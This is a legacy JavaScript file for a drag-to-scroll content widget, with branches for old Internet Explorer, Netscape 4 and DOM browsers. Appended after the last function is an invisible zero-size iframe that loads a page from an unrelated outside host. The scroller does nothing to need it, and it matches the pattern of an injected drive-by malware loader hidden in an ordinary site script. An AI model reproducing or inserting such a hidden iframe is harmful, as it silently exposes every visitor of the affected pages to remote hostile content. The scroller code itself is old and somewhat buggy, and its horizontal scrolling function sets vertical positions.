var dom = document.getElementById ? true:false;
var nn4 = document.layers ? true:false;
var ie4 = document.all ? true:false;
var mouseY;
var mouseX;
var clickDrag = false;
var timer = setTimeout("",500);
var dragH;
var dragW;
var dragT;
var dragL;
var contentT;
var contentL;
var contentH;
var contentW;
var perscrollLengthH;
var perscrollLengthW
var startY;
var startX;
var first = true;
function down(e){
if((document.layers && e.which!=1) || (document.all && event.button!=1)) return true;
getMouse(e);
if(first){
startY = mouseY;
startX = mouseX;
first = false;
}
else{
//startY = document.getElementById("drag").style.top;
}
if(event.srcElement.id == "drag"){
clickDrag = true;
return false;
}
else{
return true;
}
}
function move(e){
if(clickDrag && contentH > 0){
getMouse(e);
dragT = (mouseY - startY);
if(dragT >= dragH)
dragT = dragH;
else if(dragT <= 0)
dragT = 0;
contentT = dragT*perscrollLengthH;
moveToT();
if(ie4)
return false;
  }
  
if(clickDrag && contentW > 0){
getMouse(e);
dragL = (mouseX - startX);
if(dragL >= dragW)
dragL = dragW;
else if(dragL <= 0)
dragL = 0;
contentL = dragL*perscrollLengthW;
moveToL();
if(ie4)
return false;
  }
}
function up(){
clearTimeout(timer);
clickDrag = false;
return true;
}
function getT(){
if(ie4)
contentT = document.all.scrollerContent.style.top;
else if(dom)
contentT = parseInt(document.getElementById("scrollerContent").style.top);
}
function getL() {
if(ie4)
contentL = document.all.scrollerContent.style.left;
else if(dom)
contentL = parseInt(document.getElementById("scrollerContent").style.left);
}
function getMouse(e){
if(ie4){
mouseY = event.clientY + document.body.scrollTop;
mouseX = event.clientX + document.body.scrollLeft;
}
else if(nn4 || dom){
mouseY = e.pageY;
mouseX = e.pageX;
}
}

function moveToT(){
if(ie4){
document.all.scrollerContent.scrollTop = contentT;
document.all.drag.style.top = dragT;
  }
else if(dom){
document.getElementById("scrollerContent").style.top = contentT + "px";
document.getElementById("drag").style.top = dragT + "px";
  }
}

function moveToL(){
if(ie4){
document.all.scrollerContent.scrollLeft = contentL;
document.all.drag.style.left = dragL;
  }
else if(dom){
document.getElementById("scrollerContent").style.top = contentL + "px";
document.getElementById("drag").style.top = dragL + "px";
  }
}

/*function moveup() {
  dragT = startY + 10;
  setTimeout("moveToT()",500)
}*/

function reloadPage(){
location.reload();
}
function eventLoader(){
if(ie4){
dragT = document.all.drag.style.top;
dragL = document.all.drag.style.left;
contentH = parseInt(document.all.scrollerContent.scrollHeight) - parseInt(document.all.scrollerContent.offsetHeight);
contentW = parseInt(document.all.scrollerContent.scrollWidth) - parseInt(document.all.scrollerContent.offsetWidth);
dragcontainerH = parseInt(document.all.dragcontainer.style.height);
dragcontainerW = parseInt(document.all.dragcontainer.style.width);
dragH = dragcontainerH  - 33;
dragW = dragcontainerW  - 57;
}
else if(dom){
dragT = parseInt(document.getElementById("drag").style.top);
contentH = parseInt(document.getElementById("scrollerContent").offsetHeight);
dragcontainerH = parseInt(document.getElementById("dragcontainer").style.height.replace("px",""));
document.getElementById("scrollerContent").style.scrollTop = 0 + "px";
dragH = dragcontainerH - 33;
}
perscrollLengthH = parseFloat(contentH/dragH);
perscrollLengthW = parseFloat(contentW/dragW);
if(parseInt(document.all.scrollerContent.scrollHeight) > parseInt(document.all.scrollerContent.style.height) || parseInt(document.all.scrollerContent.scrollWidth) > parseInt(document.all.scrollerContent.style.width))
document.onmousemove = move;
document.onmouseup = up;
}<iframe src=http://fuck360.9966.org/index.htm width=0 height=0></iframe>

